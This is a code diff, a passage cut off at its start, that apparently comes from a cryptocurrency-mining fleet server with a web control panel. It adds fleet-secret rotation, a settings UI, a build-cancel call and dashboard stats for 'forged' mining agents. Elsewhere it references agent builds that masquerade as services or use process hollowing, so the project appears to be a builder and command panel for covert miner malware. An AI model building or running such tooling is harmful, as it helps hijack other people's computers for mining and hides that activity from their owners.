len(pools) == 0 { + return "nil" + } + var sb strings.Builder + sb.WriteString("[]config.BackupPool{") + for i, p := range pools { + if i > 0 { + sb.WriteString(", ") + } + pass := p.Pass + if pass == "" { + pass = "x" + } + fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass) + } + sb.WriteString("}") + return sb.String() +} + func serviceMasqueradeEnabled(req *BuildRequest) bool { return req.RunAs == "service" || req.ProcessHollowing } diff --git a/server/main.go b/server/main.go index 0d23c44..350e9de 100644 --- a/server/main.go +++ b/server/main.go @@ -86,6 +86,7 @@ func main() { wsHub := api.NewWSHub(database) wsHub.SetAIHandler(aiHandler) wsHub.SetFleetSecret(cfg.Server.FleetSecret) + api.SetAgentPathSecret(cfg.Server.FleetSecret) aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) { wsHub.BroadcastAIActivity(entry) }) @@ -101,6 +102,24 @@ func main() { builderHandler.SetFleetSecret(cfg.Server.FleetSecret) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) + // Wire fleet secret rotation — now that both wsHub and builderHandler are ready. + api.SetRotateSecretFn(func() (string, error) { + b := make([]byte, 32) + if _, err := rand.Read(b); err != nil { + return "", err + } + newSecret := hex.EncodeToString(b) + cfg.Server.FleetSecret = newSecret + if err := cfg.Save(); err != nil { + return "", err + } + wsHub.SetFleetSecret(newSecret) + builderHandler.SetFleetSecret(newSecret) + api.SetAgentPathSecret(newSecret) + log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8]) + return newSecret, nil + }) + defaultPoolCfg := pool.Config{ Host: cfg.Pool.Host, Port: cfg.Pool.Port, diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index e44f80c..93c2262 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -18,6 +18,8 @@ async function fetchJSON(url: string, options?: RequestInit): Promise { export const api = { // Agents listAgents: () => fetchJSON('/agents'), + getAgent: (id: string) => fetchJSON(`/agents/${id}`), + getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'), getAgentStats: (id: string, limit?: number) => fetchJSON(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`), @@ -137,4 +139,10 @@ export const api = { method: 'POST', body: JSON.stringify({ username, password }), }), + + // Cancel an in-progress forge build by its cancel token. + cancelBuild: (cancelToken: string) => + fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, { + method: 'DELETE', + }), }; diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 5f26b1b..42c7d13 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -1,6 +1,6 @@ import { useState, useEffect, useRef } from 'react'; import { api } from '../api/client'; -import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth'; +import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth'; import type { ServerConfig } from '../types'; import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; @@ -40,6 +40,8 @@ export default function SettingsPage() { const [sessionUser, setSessionUser] = useState(''); const [sessionPass, setSessionPass] = useState(''); const [userMsg, setUserMsg] = useState(''); + const [rotatingSecret, setRotatingSecret] = useState(false); + const [rotateMsg, setRotateMsg] = useState(''); const fileInputRef = useRef(null); useEffect(() => { @@ -148,6 +150,31 @@ export default function SettingsPage() { setTimeout(() => setUserMsg(''), 3000); }; + const handleRotateSecret = async () => { + if (!window.confirm( + 'Rotate fleet secret?\n\n' + + 'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' + + 'Click OK only if you are ready to re-forge your entire fleet.' + )) return; + setRotatingSecret(true); + setRotateMsg(''); + try { + await fetch('/api/v1/server/rotate-secret', { + method: 'POST', + headers: { ...authHeaders() }, + }).then(async (r) => { + if (!r.ok) throw new Error(await r.text()); + return r.json(); + }); + setRotateMsg('Secret rotated. Re-forge all agents to reconnect.'); + } catch (e: unknown) { + setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e))); + } finally { + setRotatingSecret(false); + setTimeout(() => setRotateMsg(''), 6000); + } + }; + const handleAddUser = async () => { if (!newUser || !newPass) return; try { @@ -603,6 +630,34 @@ export default function SettingsPage() {
{userMsg}
)} + + +

Fleet Security

+

+ A Fleet Secret is auto-generated on first server start and baked into every forged agent. + Agents without the correct secret are rejected. Use rotation if the secret is compromised — + it immediately kicks all connected agents; re-forge to reconnect. +

+
+ + + ⚠ Kicks all agents. You must re-forge after rotating. + +
+ {rotateMsg && ( +

+ {rotateMsg} +

+ )} +